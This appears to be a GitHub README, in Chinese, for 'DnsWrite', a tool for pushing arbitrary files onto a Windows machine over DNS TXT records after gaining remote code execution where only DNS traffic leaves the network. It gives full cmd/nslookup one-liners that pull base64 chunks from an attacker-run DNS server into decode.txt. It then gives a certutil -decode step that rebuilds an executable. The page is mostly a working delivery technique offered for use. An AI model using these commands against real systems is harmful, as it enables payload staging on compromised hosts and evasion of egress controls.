Skip to content
/ DnsWrite Public

Arbitrary File Transfer through DNS Protocol on Windows Platform

Notifications You must be signed in to change notification settings

JKme/DnsWrite

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 

Repository files navigation

背景原理

背景:Windows下存在RCE漏洞,只允许DNS协议出网的时候,如何利用dns协议传输文件到Windows主机上

原理:利用dns的TXT记录,先把要写入的文件base64编码,然后把文件先切割为32kb的数组列表: L1, L2....,再将每个元素切割为长度为254的列表,将此作为txt记录返回。

0x1. 文件托管

python dnsWrite.py <calc.exe>

0x2. 写入文件

利用域名的Txt解析,从baidu0.com开始解析:baidu0.com、baidu1.com ...,客户端输入以下命令,一直到服务端出现Done, Press Ctrl + C to Exit,表示发送完毕。客户端再利用certutil -decode decode.txt calc.exe转码为exe文件:

cmd /v:on /Q /c "set a= && set b=  && for /f "tokens=*" %i in ('nslookup -qt^=TXT baidu0.com 192.168.2.3 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" >> decode.txt 

cmd /v:on /Q /c "set a= && set b=  && for /f "tokens=*" %i in ('nslookup -qt^=TXT baidu1.com 192.168.2.3 ^| findstr "exec"') do (set a=%i && echo !a:~5,-2!)" >> decode.txt 

...

如果文件特别大,可以再加一层for循环,下面是循环了20次请求域名的解析,注意观察服务端是否发送完成,当服务端发送完成就可以断开了,由于循环还在继续:

cmd /v:on /Q /c "for /l %i in (0,1,20) do (set a= && set b= && for /f "tokens=*" %j in ('nslookup -qt^=TXT baidu%i.com 192.168.2.3 ^| findstr "exec"') do (set a=%j && echo !a:~5,-2! >> decode.txt))"

脚本已经计算好了循环次数,客户端直接使用即可:

image

0x3. 参考文章

About

Arbitrary File Transfer through DNS Protocol on Windows Platform

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages